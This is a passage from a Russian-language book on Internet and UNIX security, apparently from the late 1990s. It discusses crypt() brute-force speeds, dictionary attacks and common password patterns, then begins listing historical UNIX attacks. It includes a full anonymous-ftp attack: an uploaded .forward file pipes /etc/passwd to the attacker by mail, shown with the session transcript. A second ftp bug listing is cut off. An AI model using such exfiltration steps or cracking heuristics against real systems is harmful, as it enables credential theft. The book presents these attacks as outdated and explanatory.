Илья Медведовский - Атака на Internet
или около 100 миллионов лет. Если же в качестве множества символов взять прописные латинские буквы (наиболее часто используемое множество), то время перебора составило бы в среднем
или «всего» 3 440 лет. Заметим, однако, что на сегодняшний день скорость оптимизированной функции crypt() на средней машине класса Pentium/166 MMX составляет примерно 15 000 crypt/с, то есть она за 20 лет повысилась в 15 000 раз.
...Авторы [23] приводят интересную цифру – в то время (имеется в виду 1991 год) суперкомпьютер Cray выдавал 50 000 crypt/c. А сегодня счастливый обладатель какого-нибудь PIII/500 имеет в своем распоряжении вычислительную мощь, которая 8–9 лет назад была доступна только, скажем, АНБ США!
Это означает, что сегодня любой пароль из прописных латинских букв мы сможем найти в среднем за 80 дней.
Более того, этот процесс легко можно распараллелить, и существуют специальные платы, аппаратно выполняющие процесс шифрования, с помощью которых можно еще больше сократить время поиска.
С аналогичным аппаратным прогрессом столкнулась и другая фиксированная величина функции crypt() – привязка. Она создавалась для того, чтобы взломщик не мог применить стандартную для оптимизации программ замену время-память, то есть хэшировать предварительно (и один раз) некий большой набор слов и затем уже быстро искать в нем нужное хэш-значение. Однако если взять словарь в 10 000 слов (в среднем из 6 букв), то для хранения хэшей (еще 11 байт; 2 байта привязки можно не хранить) его слов во всех 4 096 модификациях потребовалось бы примерно 10 000 х 17 х 4 096 байт = 660 Мбайт. Раньше такой объем памяти нельзя было представить, а сейчас – один компакт-диск.
Однако вернемся на несколько лет назад, когда вычислительной мощности для полного перебора всех паролей не хватало. Тем не менее хакеры придумали остроумный (но совершенно очевидный) метод, основанный на людской психологии. Он следует из того, что человеку нелегко запомнить длинные бессмысленные наборы символов (идеальные в качестве паролей), поэтому он каким-либо путем попробует выбрать их более-менее запоминающимися и/или осмысленными. Чаще всего им в качестве пароля выбирается существующее слово или какая-либо информация о себе или своих знакомых (имя, дата рождения и т. п.). Ну а поскольку в любом языке не более 100 000 слов, то их перебор займет немного времени, и от 10 до 40 % существующих паролей может быть угадано с помощью простой схемы, называемой «атакой по словарю». (Кстати, до 50 % таких паролей может быть угадано с использованием всего 1 000 слов.) Как вы уже знаете, даже вирус Морриса применял такой способ, тем более что в UNIX «под рукой» часто оказывается файл-словарь, обычно используемый программами-корректорами. Что же касается «собственных» паролей, то файл /etc/passwd может дать немало информации о пользователе: его входное имя, реальные имя и фамилию, домашний каталог. Вирус Морриса, как вы помните, с успехом пользовался следующими предположениями:
• в качестве пароля берется входное имя пользователя;
• пароль представляет собой двойной повтор имени пользователя;
• то же, но прочитанное справа налево;
• имя или фамилия пользователя;
• то же, но в нижнем регистре.
Забегая несколько вперед, остановимся на ситуации со вскрытием паролей. Во-первых, сегодня трудно предположить, что существует еще какой-нибудь ускользнувший от внимания хакеров способ, позволяющий удаленно выкрасть файл /etc/passwd для последующего анализа (его, безусловно, можно получить, используя сценарий 1 или 2 через изъян в демоне, но это бессмысленно, потому что злоумышленник в этом случае и так стал суперпользователем на вашей машине). Во-вторых, в современных версиях UNIX появился механизм так называемого «затенения» (shadowing) файла паролей: он перемещается в другое место и становится недоступным обычным пользователям по чтению. Но это не очень эффективное средство, что связано (опять-таки!) с идеологией UNIX, и вызов функции getpwent() в некоторых случаях позволяет получить пароли пользователей в классическом виде. В-третьих, иногда функция crypt() заменяется на другую (еще более медленную) хэш-функцию, и запуск старых программ-взломщиков ни к чему не приводит. Обычно это алгоритм MD5, скорость которого в 50 раз меньше, чем crypt(). Аналогично может увеличиваться и размер привязки, например до 24 бит. Наконец, среди пользователей в последние годы проводится большая «разъяснительная работа» по выбору стойких паролей, и процент успешно подобранных паролей с помощью атаки «по словарю» пусть медленно, но падает.
...С другой стороны, количество подключающихся к Internet пользователей растет гораздо быстрее.
Однако психологический фактор останется до тех пор, пока с компьютером работает человек, и, наверное, никогда эксперты по компьютерной безопасности не дождутся от пользователя выбора таких простых и радующих душу паролей, как [email protected]!6. Поэтому даже искушенный пользователь хитрит и выбирает пароли типа hope1, user1997, pAsSwOrD, toor, roottoor, parol, gfhjkm, asxz. Видно, что все они, как правило, базируются на осмысленном слове и некотором простом правиле его преобразования: прибавить цифру или год, перевести через букву в другой регистр, записать слово наоборот, прибавить записанное наоборот слово, записать русское слово латинскими буквами, набрать русское слово на клавиатуре с латинской раскладкой, составить пароль из рядом расположенных на клавиатуре клавиш и т. п.
Поэтому не надо удивляться, если такой «хитрый» пароль будет вскрыт хакерами: они не глупее вас и уже вставили в свои программы те правила, по которым могут преобразовываться слова. В самых современных программах (Crack 5.0, John The Ripper) такие правила могут программироваться и задаваться с помощью специального языка самим хакером.
Приведем пример эффективности стратегии перебора. В отдельных книгах по безопасности предлагается выбирать в качестве надежного пароля два осмысленных слова, разделенных некоторым знаком, например good!password. Подсчитаем, сколько в среднем потребуется времени, чтобы сломать пароль, если такое правило включено в набор программы-взломщика (пусть словарь содержит 10 000 слов, разделительными знаками будут 10 цифр и 32 символа, включая знаки препинания):
или чуть больше полутора дней.
Итак, из всего вышесказанного ясно, насколько важно для вашей безопасности иметь хорошие пароли, причем вне зависимости от операционной системы, которую вы используете. К сожалению, рекомендации по поводу выбора паролей выходят за рамки этой книги.
Типичные атаки
Далее мы рассмотрим типичные атаки на UNIX-хосты, которые осуществлялись в недалеком прошлом, и попытаемся классифицировать их по предложенным типовым сценариям. Повторимся, что наша книга не является справочником по уязвимостям или учебником по взлому, поэтому в ней приводятся только атаки, которые характеризуют те или иные принципиальные проблемы безопасности UNIX. Почти все атаки даются с подробными листингами, так как потенциальный кракер все равно найдет их в Internet [22], а главное – на сегодняшний день они являются сильно устаревшими и представляют в большей степени теоретический интерес.
Атака с использованием анонимного ftp Анонимный ftp-сервис (обнаружить его чрезвычайно просто) мог служить легким способом получения доступа из-за частой неправильной конфигурации. Например, система могла иметь полную копию файла /etc/passwd в каталоге ~ftp/etc вместо урезанной версии со всеми вытекающими отсюда последствиями. Кроме того, можно было применить и более изощренный способ – в следующем примере домашний каталог специального пользователя ftp на victim.com доступен для записи. Это позволяет послать по почте самому себе файл /etc/passwd атакуемой машины. Для этого надо создать файл. forward в домашнем каталоге ftp, который выполняется, когда пользователю ftp посылается почта. Например:evil % cat forward_sucker_file
"|/bin/mail [email protected] < /etc/passwd"
evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:hacker): ftp
331 Guest login ok, send ident as password.
Password: *****
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail [email protected]Теперь хакер может просто ждать, пока файл с паролями не будет выслан ему. Очевидно, что такая атака (как и следующая) является типичной по сценарию 2. Рассматривая ftp, вспомним совсем старую ошибку:
% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.